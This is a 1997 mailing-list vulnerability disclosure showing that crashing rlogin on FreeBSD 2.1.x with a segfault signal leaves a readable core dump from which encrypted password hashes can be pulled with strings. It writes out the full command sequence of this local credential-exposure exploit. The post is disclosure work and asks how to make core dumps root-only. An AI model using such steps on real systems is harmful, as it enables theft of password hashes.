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FreeBSD,rlogin and coredumps.
From: roelof () CUBE NANOTEQ CO ZA (Roelof W Temmingh)
Date: Mon, 17 Feb 1997 01:34:06 +0200


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If the following is already known, my deepest apologies for the junk mail..

RECONSTRUCT PARTS OF UN-SHADOWED PASSWORDFILE ON (at least) FreeBSD
2.1.0,2.1.5:

Bronc Buster wrote:

This exploit is very similer to the FTP exploit on BSD that creates a
ftp.core file you can then strings and get the encrypted password file.
....snip...snip..

I tried this technique on my FreeBSD 2.1.0 box. It didn't work. I started
playing around with dump files:

~> rlogin 127.0.0.1
Password:
Last login: Mon Feb 17 00:35:49 from localhost
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California.   All rights reserved.

FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17 03:37:25 SAT 1996

You have new mail.

~> ps -ax | grep rlogin
 6528  ??  S      0:00.06 rlogind
 6527  p1  S+     0:00.05 rlogin 127.0.0.1
 6529  p1  S+     0:00.01 rlogin 127.0.0.1

~> kill -11 6529~> ls
Brain_Box       NS              cronjobs        mail            security
Mail            News            foon            rlogin.core
~>strings rlogin.core > unshadowed.passwdfile.reconstruct
~>vi unshadowed.passwdfile.reconstruct
and reconstruct..

I also tried this on a FreeBSD 2.1.5 box, and it did the same thing. I
wonder if there is a way to make a core dump only readable by root, and why
this isn't the default?


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 Roelof W Temmingh                         Network & Data Security
                                           Nanoteq
 rt () nanoteq com [w]                        South-Africa
 roelof () cube nanoteq co za [ah]            http://www.nanoteq.com
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